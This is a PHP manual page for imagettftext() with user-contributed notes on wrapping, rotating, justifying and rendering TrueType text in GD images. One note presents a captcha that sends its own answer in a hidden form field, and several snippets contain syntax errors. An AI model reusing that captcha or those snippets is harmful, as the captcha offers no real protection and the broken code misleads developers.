vegard at I dot DONT dot WANT dot SPAM dot programmer dot no 04-Apr-2005 03:37
Here is a function that wordwraps text you want to print, allows to specify where the text should be printed, what the maximum width should be, and returns the height used.

<?php
        function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize) {
                $words = explode(' ', strip_tags($text)); // split the text into an array of single words
                $line = '';
                while (count($words) > 0) {
                        $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
                        $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
                        if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
                                $lines[] = $line; // add the line to the others
                                $line = ''; // empty it (the word will be added outside the loop)
                                }
                        $line .= ' '.$words[0]; // add the word to the current sentence
                        $words = array_slice($words, 1); // remove the word from the array
                        }
                if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
                $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
                $height = count($lines) * $lineHeight; // the height of all the lines total
                // do the actual printing
                $i = 0;
                foreach ($lines as $line) {
                        imagettftext($image, $textSize, 0, $left, $top + $lineHeight * $i, $color, $font, $line);
                        $i++;
                        }
                return $height;
                }

?>
ryan at retronetworks dot com 29-Mar-2005 04:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
    $numchar = strlen($text);
    for($i = 0; $i < $numchar; $i++) {
        # Assign character
        $char[$i] = substr($text, $i, 1);

        # Write character
        imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

        # Get width of character
        $width = imagettfbbox($size, $angle, $font, $char[$i]);
        $w = $w + $width[2];
    }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).
soukhinov at mail dot ru 16-Mar-2005 01:00
I have tryed all of fixes
The David Eder's fix is the only working fix.
The "jtopland at hive dot no"s fix is good enough, but it not working with angle = 180 degrees.
helloktk at naver dot com 24-Jun-2004 03:55
Here is a function which moves the center of text's bounding
box to a given pivot point (px,py) and rotates text about
that point.
<?php
$width=500;
$height=400;
$fontpath = 'c:/windows/fonts/arial.ttf';
$text = 'Finally, I have a roated text box';
$fontsize = 20;
$angle = 30.0;
// create an image and fill the background with lightgray
$image = imagecreatetruecolor($width,$height);
imagefill($image, 0, 0, 0xDDDDDD);
// bounding box
$bbox = imagettfbbox($fontsize, 0, $fontpath, $text);
// baseline point for drawing non-rotated text.
$x0=  $bbox[6];
$y0=-$bbox[7];
// fixes bounding box w.r.t. image coordinate.
$bbox[5]=-$bbox[5]+$bbox[1];
$bbox[7]=-$bbox[7]+$bbox[3];
$bbox[1]=0;
$bbox[3]=0;
// get the size of image.
$sx=imagesx($image);
$sy=imagesy($image);
// center of bounding box (xc,yc);
$xc=($bbox[0]+$bbox[2])/2.0;
$yc=($bbox[1]+$bbox[7])/2.0;
// rotation angle in radian
$rad=$angle*pi()/180.0;
$sa=sin($rad);
$ca=cos($rad);
$x1=$x0-$xc;
$y1=$y0-$yc;
//pivot point(here, we take the center of image)
$px=$sx/2.0;
$py=$sy/2.0;
// new baseline point for rotated text.
$x2= intval( $x1*$ca+$y1*$sa+$px+0.5);
$y2= intval(-$x1*$sa+$y1*$ca+$py+0.5);

imagettftext($image,$fontsize,$angle,$x2,$y2,0xFF,$fontpath,$text);
// draw rotated bounding box;
rotbbox($bbox,$angle,$px,$py);
for($i=0;$i<4;$i++){
   $x0=$bbox[2*$i+0];
   $y0=$bbox[2*$i+1];
   $j=$i+1;
   if($j==4) $j=0;
   $x1=$bbox[2*$j+0];
   $y1=$bbox[2*$j+1];
   imageline($image,$x0,$y0,$x1,$y1,0xFF0000);
}
// Show the image
imagepng($image);

function rotbbox(&$bbox,$angle,$px,$py){
     $xc=($bbox[0]+$bbox[2])/2.0;
     $yc=($bbox[1]+$bbox[7])/2.0;
     $rad=$angle*pi()/180.0;
     $sa=sin($rad);
     $ca=cos($rad);
     for ($i=0;$i<4;$i++){
         $x=$bbox[$i*2+0]-$xc;
         $y=$bbox[$i*2+1]-$yc;
         $bbox[$i*2+0]= intval( $ca*$x+$sa*$y+$px+0.5);
         $bbox[$i*2+1]= intval(-$sa*$x+$ca*$y+$py+0.5);
     }
}
?>
jrisken at mn dot rr dot com 09-Mar-2004 11:12
I took Magicaltux's word wrap procedure and modified it in two ways.  I changed the order of processing so that the string plotting function is called only once for each word instead of for every character.  And I wrote the results to a string scalar instead of a string array, with embedded breaks <br> at line ends.  It should run pretty fast.  Mine breaks only on spaces, but hyphens could easily be added.

I'm new to PHP so I apologize for my idiosyncratic formatting conventions.
<?
function myWordWrap($txt,$font,$size,$width)
{
    /*
        word-wrapper.  gets bounding box sizes for each word in a string, then
        strings words together up to desired width. calls strpos and
        imagettfbbox only once per word - so very fast.
        this version reconcatenates the words with a <br> character where
        the line break should be.
    */
    $txt.=" "; // guaranteed to find end of line
    $spaces=array();
    $wids=array();
    $i=0;
    while(true)
    {
        $j=strpos(substr($txt,$i)," ");
        if(!($j===false))
        {
            $spaces[]=$j+$i;
            $bbox=imagettfbbox($size,0,$font,substr($txt,$i,$j+1));
            $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0];
            $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4];
            $wids[]=$right-$left;
            $i=$j+$i+1;
        }
        else     break;
    }
    $lastspace=-1;
    $cum=0;
    $t2="";
    for($i=0;$i<count($spaces);$i++)
    {
        if((($cum>0)&&($cum+$wids[$i])>$width)) // time for a line break
        {
            $t2.="<br>";
            $cum=0;
            $i--;
        }
        else
        {
            // we'll always get at least one word (even if too wide) thanks to
            // ($cum>0) test above
            $t2.=substr($txt,$lastspace+1,$spaces[$i]-$lastspace);
            $cum+=$wids[$i];
            $lastspace=$spaces[$i];
        }
    }
    return $t2;
}
?>
LB 11-Feb-2004 04:55
the oliver dot martin at onemail dot fixbbox function is just lacking a small thing:
the coordonates for top and left have to be the opposite, because the imagettftext x and y coordonates are calculated from the top left of the image and set the bottom left of the first character.

The correct function is:
function fixbbox($bbox)
{
  $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
  $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
  $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -
    min($bbox[0],$bbox[2],$bbox[4],$bbox[6]) + 1;
  $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

  $tmp_bbox["left"] = 0 - $tmp_bbox["left"];
  $tmp_bbox["top"] = 0 - $tmp_bbox["top"];
  return $tmp_bbox;
}

And it works for any rotated text.
David Eder 10-Feb-2004 06:46
As "oliver dot martin at onemail dot at" noted above, imagettfbbox() does not work correctly in php 4.3.4.  To remedy this, I've written a short function that uses trig to calculate the bounding box from rotating a non-rotated piece of text.

Hopefully, this comment will be obsolete soon, but for now, ...

function imagettfbbox_t($size, $angle, $fontfile, $text)
{
  // compute size with a zero angle
  $coords = imagettfbbox($size, 0, $fontfile, $text);

  // convert angle to radians
  $a = $angle * M_PI / 180;

  // compute some usefull values
  $ca = cos($a);
  $sa = sin($a);
  $ret = array();

  // perform transformations
  for($i = 0; $i < 7; $i += 2)
  {
    $ret[$i] = round($coords[$i] * $ca + $coords[$i+1] * $sa);
    $ret[$i+1] = round($coords[$i+1] * $ca - $coords[$i] * $sa);
  }
  return $ret;
}
jtopland at hive dot no 08-Feb-2004 11:26
Finally managed to make a fixed version of imagettfbbox().
All angles returns correct values.
Except that imagettftext() returns different trackings (space between each character) when rotating.

<?php
    // Set some test variables
    $font = "d://www//tahoma.ttf";
    $text = "Finally, I can center rotated text!";
    $size = 20;
    $angle = 20;

    // Create an image and fill the background with lightgray
    $image = imagecreatetruecolor(500, 400);
    imagefill($image, 0, 0, hexdec("dddddd"));

    // Make a cross to make it easier to analyze
    imageline($image, 0, 0, imagesx($image), imagesy($image), hexdec("000000"));
    imageline($image, imagesx($image), 0, 0, imagesy($image), hexdec("000000"));

    // Run a fixed version of imagettfbbox()
    $bbox = imagettfbbox_fixed($size, $angle, $font, $text);

    // Make some text and center the text on the image.
    // imagettftext() pivot is on lower left
    imagettftext($image, $size, $angle, imagesx($image) / 2 - $bbox['width'] / 2, imagesy($image) / 2 + $bbox['height'] / 2, hexdec("0000ff"), $font, $text);

    // Show the image
    imagepng($image);

    function imagettfbbox_fixed($size, $angle, $font, $text)
    {
        // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
        $bbox = imagettfbbox($size, 0, $font, $text);

        // Rotate the boundingbox
        $angle = pi() * 2 - $angle * pi() * 2 / 360;
        for ($i=0; $i<4; $i++)
        {
            $x = $bbox[$i * 2];
            $y = $bbox[$i * 2 + 1];
            $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;
            $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y;
        }

        // Variables which tells the correct width and height
        $bbox['width'] = $bbox[0] + $bbox[4];
        $bbox['height'] = $bbox[1] - $bbox[5];

        return $bbox;
    }
?>
oliver dot martin at onemail dot at 09-Jan-2004 10:13
The original fixbox function by <php at deathz0rz dot homeunix dot net> doesn't work when the text is rotated, as it assumes that the upper left corner of the text is also the upper left corner of the bounding box. Same goes for the lower right corner. Here is my corrected version of it:

<?
function fixbbox($bbox)
{
    $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
    $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
    $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) - min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
    $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

    return $tmp_bbox;
}
?>

However, be aware that this might not be very useful, as gd-2.0.8 introduces a bug which renders the results of imagettfbbox() useless when the text is rotated. This is still not fixed in the the php-4.3.4 bundled version (2.0.15 compatible).
MagicalTux at FF.ST 22-Dec-2003 09:09
One use of this function is to do some WordWrap =p

I wrote a little function to make a basic wordwrap : it returns an array with each line in a row.

You just have to display each row on a different line (calling many times imagettftext) to get a good result.
The character ^ is assumed as a linebreak.

<?php

function im_wordwrap($txt,$font,$size,$width) {
    $sep=array(' ','-'); // separators
    $res=array();
    $buf='';
    // main function loop
    for($i=0;$i<strlen($txt);$i++) {
        $l=$txt{$i};
        if ($l=='^') {
            $res[]=$buf;
            $buf='';
            continue;
        }
        $t=$buf.$l;
        $bbox=imagettfbbox($size,0,$font,$t);
        $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0]; // determine most far points
        $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4]; // idem
        $w=$right-$left; // get total width
        if ($w>$width) {
            if ($buf=='') return false; // FATAL: 1 letter is smallest than the pixel width - avoid infinite loop
            // we can assume that everything present in $buf currently is inside our limits
            // find a separator in string
            $fp=false;
            foreach($sep as $s) {
                $p=strrpos($buf,$s);
                if (($p!==false) and ($p>$fp)) $fp=$p;
            }
            if ($fp===false) {
                // let's break here !
                $res[]=$buf;
                $buf='';
                $i--; // dececrase $i to retry this letter
                continue;
            }
            // $fp+1 -> we put the separator char at the end of the prev. line =p
            $res[]=substr($buf,0,$fp+1);
            $buf=substr($buf,$fp+1);
            $i--;
            continue;
        }
        $buf.=$l;
    }
    if ($buf!='') $res[]=$buf;
    return $res;
}
?>
php at deathz0rz dot homeunix dot net 14-Dec-2003 03:38
The array this function returns is very strange, at least, i think so... So i created this function that 'fixes' the bounding box array into some human-understandable format

<?php
function fixbbox($bbox)
{
    $xcorr=0-$bbox[6]; //northwest X
    $ycorr=0-$bbox[7]; //northwest Y
    $tmp_bbox['left']=$bbox[6]+$xcorr;
    $tmp_bbox['top']=$bbox[7]+$ycorr;
    $tmp_bbox['width']=$bbox[2]+$xcorr;
    $tmp_bbox['height']=$bbox[3]+$ycorr;

    return $tmp_bbox;
}
?>
Brian at NOSPAM at PrintsMadeEasy dot com 04-Sep-2002 10:12
There seems to be a little confusion regarding the font coordinate system.  PHP's TTF functions will make more sense after you understand the principals of font creation.  This guy wrote a really good overview...
http://pfaedit.sourceforge.net/overview.html


Write text to the image using TrueType fonts

  • « imagettfbbox
  • imagetypes »
  • PHP Manual
  • GD and Image Functions
  • Write text to the image using TrueType fonts

imagettftext

(PHP 4, PHP 5)

imagettftext — Write text to the image using TrueType fonts

Description

array imagettftext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text )

Writes the given text into the image using TrueType fonts.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

size

The font size. Depending on your version of GD, this should be specified as the pixel size (GD1) or point size (GD2).

angle

The angle in degrees, with 0 degrees being left-to-right reading text. Higher values represent a counter-clockwise rotation. For example, a value of 90 would result in bottom-to-top reading text.

x

The coordinates given by x and y will define the basepoint of the first character (roughly the lower-left corner of the character). This is different from the imagestring(), where x and y define the upper-left corner of the first character. For example, "top left" is 0, 0.

y

The y-ordinate. This sets the position of the fonts baseline, not the very bottom of the character.

color

The color index. Using the negative of a color index has the effect of turning off antialiasing. See imagecolorallocate().

fontfile

The path to the TrueType font you wish to use.

Depending on which version of the GD library PHP is using, when fontfile does not begin with a leading / then .ttf will be appended to the filename and the library will attempt to search for that filename along a library-defined font path.

When using versions of the GD library lower than 2.0.18, a space character, rather than a semicolon, was used as the 'path separator' for different font files. Unintentional use of this feature will result in the warning message: Warning: Could not find/open font. For these affected versions, the only solution is moving the font to a path which does not contain spaces.

In many cases where a font resides in the same directory as the script using it the following trick will alleviate any include problems.

<?php
// Set the enviroment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

The text string in UTF-8 encoding.

May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127. The hexadecimal format (like &#xA9;) is supported. Strings in UTF-8 encoding can be passed directly.

Named entities, such as &copy;, are not supported. Consider using html_entity_decode() to decode these named entities into UTF-8 strings.

If a character is used in the string which is not supported by the font, a hollow rectangle will replace the character.

Return Values

Returns an array with 8 elements representing four points making the bounding box of the text. The order of the points is lower left, lower right, upper right, upper left. The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner when you see the text horizontally. Returns FALSE on error.

Changelog

Version | Description
5.2.0 | It is now possible to specify an hexadecimal entity in text.

Examples

Example #1 imagettftext() example

This example script will produce a white PNG 400x30 pixels, with the words "Testing..." in black (with grey shadow), in the font Arial.

<?php
// Set the content-type
header('Content-Type: image/png');

// Create the image
$im = imagecreatetruecolor(400, 30);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// The text to draw
$text = 'Testing...';
// Replace path by your own font path
$font = 'arial.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagettftext()

Notes

Note:

This function requires both the GD library and the » FreeType library.

See Also

  • imagettfbbox() - Give the bounding box of a text using TrueType fonts

User Contributed Notes

David 15-Oct-2014 09:06
If you get:

"configure: error: freetype.h not found."

then do:

yum install freetype-devel
suyog at suyogdixit dot com 30-Oct-2013 07:46
For your general edification: The following drop-in function will place a block of fully justified text onto a GD image. It is a little CPU heavy, so I suggest caching the output rather than doing it on-the-fly.

Arguments:

$image - the GD handle of the target canvas
$size - text size
$angle - slope of text (does not work very well), leave at 0 for horizontal text
$left - no. of pixels from left to start block
$top - no. of pixels from top to start block
$color - handle for colour (imagecolorallocate result)
$font - path to .ttf font
$text - the text to wrap and justify
$max_width - the width of the text block within which the text should be wrapped and fully justified
$minspacing - the minimum number of pixels between words
$linespacing - a multiplier of line height (1 for normal spacing; 1.5 for line-and-a-half etc.)

eg.
$image = ImageCreateFromJPEG( "sample.jpg" );
$cor = imagecolorallocate($image, 0, 0, 0);
$font = 'arial.ttf';
$a = imagettftextjustified($image, 20, 0, 50, 50, $color, $font, "Shree", 500, $minspacing=3,$linespacing=1);
header('Content-type: image/jpeg');
imagejpeg($image,NULL,100);

function imagettftextjustified(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width, $minspacing=3,$linespacing=1)
{
$wordwidth = array();
$linewidth = array();
$linewordcount = array();
$largest_line_height = 0;
$lineno=0;
$words=explode(" ",$text);
$wln=0;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
foreach ($words as $word)
{
$dimensions = imagettfbbox($size, $angle, $font, $word);
$line_width = $dimensions[2] - $dimensions[0];
$line_height = $dimensions[1] - $dimensions[7];
if ($line_height>$largest_line_height) $largest_line_height=$line_height;
if (($linewidth[$lineno]+$line_width+$minspacing)>$max_width)
{
$lineno++;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
$wln=0;
}
$linewidth[$lineno]+=$line_width+$minspacing;
$wordwidth[$lineno][$wln]=$line_width;
$wordtext[$lineno][$wln]=$word;
$linewordcount[$lineno]++;
$wln++;
}
for ($ln=0;$ln<=$lineno;$ln++)
{
$slack=$max_width-$linewidth[$ln];
if (($linewordcount[$ln]>1)&&($ln!=$lineno)) $spacing=($slack/($linewordcount[$ln]-1));
else $spacing=$minspacing;
$x=0;
for ($w=0;$w<$linewordcount[$ln];$w++)
{
imagettftext($image, $size, $angle, $left + intval($x), $top + $largest_line_height + ($largest_line_height * $ln * $linespacing), $color, $font, $wordtext[$ln][$w]);
$x+=$wordwidth[$ln][$w]+$spacing+$minspacing;
}
}
return true;
}
lilfo 20-Jun-2013 01:42
If you need to rotate text around center you can use this function instead of imagettftext_cr() by pillepop2003 that doesn't mantain the same center of the original image (shifting a bit):

function imagettftext_center_rotate(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox of the non rotated text
            $bbox = imagettfbbox($size, 0, $fontfile, $text);
            //calculate the parameters of the line from lowerleft to upperright point
            $m1 = ($bbox[5]-$bbox[1])/($bbox[4]-$bbox[0]);
            $q1 = $bbox[1]-($bbox[0]*$m1);
            //calculate the parameters of the line from upperleft to lowerright point
            $m2 = ($bbox[3]-$bbox[7])/($bbox[2]-$bbox[6]);
            $q2 = $bbox[7]-($bbox[6]*$m2);
            //calculate the rectangle center (intersection of the two lines)
            $vx = ($q1-$q2)/($m2-$m1);
            $vy = ($m1*($q1-$q2)/($m2-$m1))+$q1;

            // retrieve boundingbox of the rotated text
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);
            //calculate the parameters of the line from lowerleft to upperright point
            $m1 = ($bbox[5]-$bbox[1])/($bbox[4]-$bbox[0]);
            $q1 = $bbox[1]-($bbox[0]*$m1);
            //calculate the parameters of the line from upperleft to lowerright point
            $m2 = ($bbox[3]-$bbox[7])/($bbox[2]-$bbox[6]);
            $q2 = $bbox[7]-($bbox[6]*$m2);
            //calculate the rectangle center (intersection of the two lines)
            $nx = ($q1-$q2)/($m2-$m1);
            $ny = ($m1*($q1-$q2)/($m2-$m1))+$q1;

            //calculate the x and y shifting needed
            $dx = $nx - $vx;
            $dy = $ny - $vy;

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            //output
            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }
mirza_aqueel_qau at hotmail dot com 26-Jul-2011 01:49
To make a font underline and bold without using the fonts file available in fonts directory of windows use this code. I hope this will help alot of you out there.

<?php
// Create the image
$im = imagecreatetruecolor(499, 330);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 499, 329, $white);

// The text to draw

$text ="Muhammad Sarfraz";
$text ="Khurram Faraz";
$text ="Mohammad Imran";
$text ="Zulfiqar Ahmed Khan";
$text="Najam ul Hasnain Shah";
$text="Abdul Rehman Daniyal";
$text="Yasir Siddiqui";
$text="Sohail ur Rehman";
$text="Hamad Aziz Sheikh";
$text="Nauman Khalid";
$text="Saad Ahmed";
$text="Nasir Mehmood Butt";
$text="Mohammad Aqeel Mirza";

// Replace path by your own font path
$font = 'walt.ttf'; // Place this file in your code directory or if font is in font directory set its path with font name as $font=$path.'arial.ttf';

// Add the text
$x=10;
$y=120;
$font_size=40;
$angle=0;
$total_width=0;
$counter=0;

for($i=0; $i<strlen($text); $i++)
{
    //$text_to_write=urldecode(substr($text,$i,1)."%0D_");
    $dimensions = imagettfbbox($font_size, $angle, $font, substr($text,$i,1));
    $total_width+=($dimensions[2]);

}
echo "<pre>";
$dimensions = imagettfbbox($font_size, $angle, $font, $text);
echo "Dimension of full string=".$dimensions[2]."<br/>";

echo "Total width calcuated by algorithm=".$total_width."<br/>";
$difference=$dimensions[2]-$total_width;

echo "Difference=".$difference;
imagettftext($im, $font_size, $angle, $x+1, $y+1, $black, $font, $text);
imagettftext($im, $font_size, $angle, $x, $y, $black, $font, $text);

$x2=$x+$total_width+$difference+2;
//echo $total_width;
echo "<pre/>";
//imageline( $im , $x , $y+4 , $x2 , $y+4 , $black );
imageBoldLine($im, $x, $y+4, $x2, $y+4, $black, $BoldNess=4, $func='imageLine');

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im,"underline.png");
echo "<img src='underline.png'/>";
imagedestroy($im);
?>
contact at pointhunter dot net 28-Nov-2010 07:35
Print username on the picture from a sent variable. (u)

<?php
$USERNAME=$_REQUEST['u'];
// Set the content-type
header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(350, 30);

// Create some colors
$white = imagecolorallocate($im, 0, 0, 0);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// The text to draw
$text = 'Welcome, '.$USERNAME;
// Replace path by your own font path
$font = 'cour.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
John Conde 01-Nov-2010 07:17
If you want to create a paragraph you will need to break your text up into lines and then place each line individually one below the next.

Here's a basic example of how to do that:

<?php
// Basic font settings
$font ='./times.ttf';
$font_size = 15;
$font_color =  0x000000

// Text to be placed as a paragraph
$text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer non nunc lectus. Curabitur hendrerit bibendum enim dignissim tempus. Suspendisse non ipsum auctor metus consectetur eleifend. Fusce cursus ullamcorper sem nec ultricies. Aliquam erat volutpat. Vivamus massa justo, pharetra et sodales quis, rhoncus in ligula. Integer dolor velit, ultrices in iaculis nec, viverra ut nunc.';

// Break it up into pieces 125 characters long
$lines = explode('|', wordwrap($text, 115, '|'));

// Starting Y position
$y = 513;

// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    imagettftext($image, $font_size, 0, 50, $y, $font_color, $font, $line);

    // Increment Y so the next line is below the previous line
    $y += 23;
}

?>
eee ess c p 9 9 AT yahoo DOT com 30-Sep-2010 12:46
If you get letters cut off (clipped) by adjacent letters when using imagettftext with transparency (i.e., imagealphablending set to false), try setting imagealphablending back to TRUE before calling the imagettftext function.

<?php
$im = imagecreatetruecolor(300, 300);

imagealphablending($im, false);
imagesavealpha($im, true);

// Create colors and draw transparent background
$trans = imagecolorallocatealpha($im, 255, 255, 255, 127);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 299, 299, $trans);

// Bad text
imagettftext($im, 22, 0, 50, 100, $black, 'arial.ttf', 'Bad: Oj Pj wj');

// Good text
imagealphablending($im, true);
imagettftext($im, 22, 0, 50, 150, $black, 'arial.ttf', 'Good: Oj Pj wj');

/*** You'll need a copy of the arial.ttf font file in the same location as the PHP script ***/

// Output PNG
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
Endeer 12-Jun-2010 01:22
If latin characters with accents don't work for you (blank characters or rectangles), then it may be perhaps caused by PHP being compiled with --enable-gd-jis-conv. Verified on PHP 5.2.13.
Amir 07-May-2010 03:09
In order to pass text of RTL language to imagettftext function, I used this function.

<?php
    function revUni($text) {

        $wordsArray = explode(" ", $text);

        $rtlCompleteText='';
        for ($i = sizeOf($wordsArray); $i > -1; $i = $i-1) {

            //$lettersArray = explode("|", str_replace(";|", ";", $wordsArray[$i]));
            $lettersArray = explode(";", $wordsArray[$i]);

            $rtlWord='';
            for ($k = sizeOf($lettersArray); $k > -1; $k = $k-1) {
                if (strlen($lettersArray[$k]) > 1) { // make sure its full unicode letter
                    $rtlWord = $rtlWord."".$lettersArray[$k].";";
                }
            }

            $rtlCompleteText = $rtlCompleteText." ".$rtlWord;

        }

        return $rtlCompleteText;
    }
?>
JohnB 01-Mar-2010 08:58
Just in case you were--like me--unaware of this, in Windows, ttf fonts don't necessarily antialias at all font sizes. Arial appears to work at all sizes but Calibri, for example, only antialiases at a point size of 8 and then at all sizes 16 and up. Not only that but at fonts sizes like 10 and 12 characters don't print at the expected angle: the characters are all printed upright on an angled baseline.
adam at worldwrestlingmania dot cjb dot net 06-Dec-2009 05:35
Here's a good number verification captcha i just made:

1. on the page/s it will be used on, enter:
<?php
$pageToGo = "http://example.com/" #the page to go to if captcha correct
if ($_POST["captchaused"] == "true")
{
if ($_POST["numcaptcha"] == $_POST["captcha"])
{
header('Location: ' . $pageToGo);
}
else
{
echo '<form action="' . $_SERVER['php_self'] . '" method="post">';
$text = mt_rand();
echo '<input type="hidden" name="captchaused" value="true" />';
echo '<input type="hidden" name="numcaptcha" value="' . $text . '" />';
echo 'Enter the numbers you see: <br><input type="text" name="captcha" />';
require_once('numcaptcha.php');
echo '<input type="submit" value="enter site" /></form>';
}
?>

2. create a page called numcaptcha.php and enter:
<?php
header('Content-type: image/png');
$im = imagecreatetruecolor(400, 30);
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);
imagepng($im);
imagedestroy($im);
?>

it might have a few security issues but it still works fine.
web at evanreeves dot com 22-May-2009 09:50
I was having trouble trying to render non antialiased text using a pixel font. The tips about setting a negative value for the color are valid, but I was still having trouble with the text I was trying to render because it was black. I discovered that if I changed the imagecolorallocate() function from:

$color = imagecolorallocate($base, 0, 0, 0);

to

$color = imagecolorallocate($base, 1, 1, 1); (near black)

and then used the negative value for the color in imagettftext(), it would work properly. The difference is that my first implementation set $color = 0. Obviously, you can't have $color = -0, it made no difference. When I switched to (1,1,1) it became $color = 1 which I could take a negative value for.
nadavkav at gmail dot com 21-May-2009 02:32
for passing hebrew (and maybe other rtl language text) you can use the following code (as suggested by udi and which worked for me) :
<?php
$returnedtext = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $originaltext)));
?>
philip at webdesco dot com 29-Apr-2009 02:51
Hi,
for the dummies (like myself) if you are having problems including your font file, prefix the file name with ./

On my development server the following worked fine
$myfont = "coolfont.ttf";

on my hosting server the only way i could get the font to work was as follows
$myfont = "./coolfont.ttf";

hope this helps someone out!
ben at spooty dot net 11-Mar-2009 03:40
Here's a simple function to wrap text going into an image. It'll wrap onto as many lines as it needs to, but $angle has to be zero. The $width parameter is the width of the image.

<?php
function wrap($fontSize, $angle, $fontFace, $string, $width){

    $ret = "";

    $arr = explode(' ', $string);

    foreach ( $arr as $word ){

        $teststring = $ret.' '.$word;
        $testbox = imagettfbbox($fontSize, $angle, $fontFace, $teststring);
        if ( $testbox[2] > $width ){
            $ret.=($ret==""?"":"\n").$word;
        } else {
            $ret.=($ret==""?"":' ').$word;
        }
    }

    return $ret;
}
?>
roland dot hentschel at t-online dot de 21-Nov-2008 12:53
Hi!

I played around with that multi-line-script "makeImageF".
Added some features, mainly: you can read text-files
or add text as parameter - eg :
imagettftext.php?file=test.txt
imagettftext.php?text=hello|world!

have fun!

======================================

<?php

/*
 * @name: makeImageF
 * http://de3.php.net/manual/en/function.imagettftext.php#77739
 *
 * @param String $file : Textfile.
 * @param String $text : Text (New Line : "|").
 * @param String $font : Font name.
 * @param int $fsize: Font size.
 * @param int $pos : Justify (0-Left, 1-Right, 2-Center).
 * @param int $Leading : Space between lines.
 * @param int $W: Width of the Image.
 * @param int $H: Hight of the Image.
 * @param int $X: x-coordinate of the text into the image.
 * @param int $Y: y-coordinate of the text into the image.
 * @param array $rgb: RGB color array for text & background color.
 *
 */

$type = $_REQUEST['type']  ? $_REQUEST['type'] : "png";
switch($type) {
 case "gif" :
    header("Content-type: image/gif");
    imageGIF(imagettfpostext($text, $font,
    $fsize, $pos, $rgb),"wm.gif", 9); break;
 case "png" :
    header("Content-type: image/png");
    imagePNG(imagettfpostext($text, $font,
    $fsize, $pos, $rgb),"wm.png", 9); break;
}

function rgb2hex($rgb) {
  $color = array("black"=>"#000", "grn"=>"#090",
  "red"=>"#f00", "blu"=>"00f");
  $trans = array("a"=>"10", "b"=>"11", "c"=>"12",
  "d"=>"13", "e"=>"14", "f"=>"15");
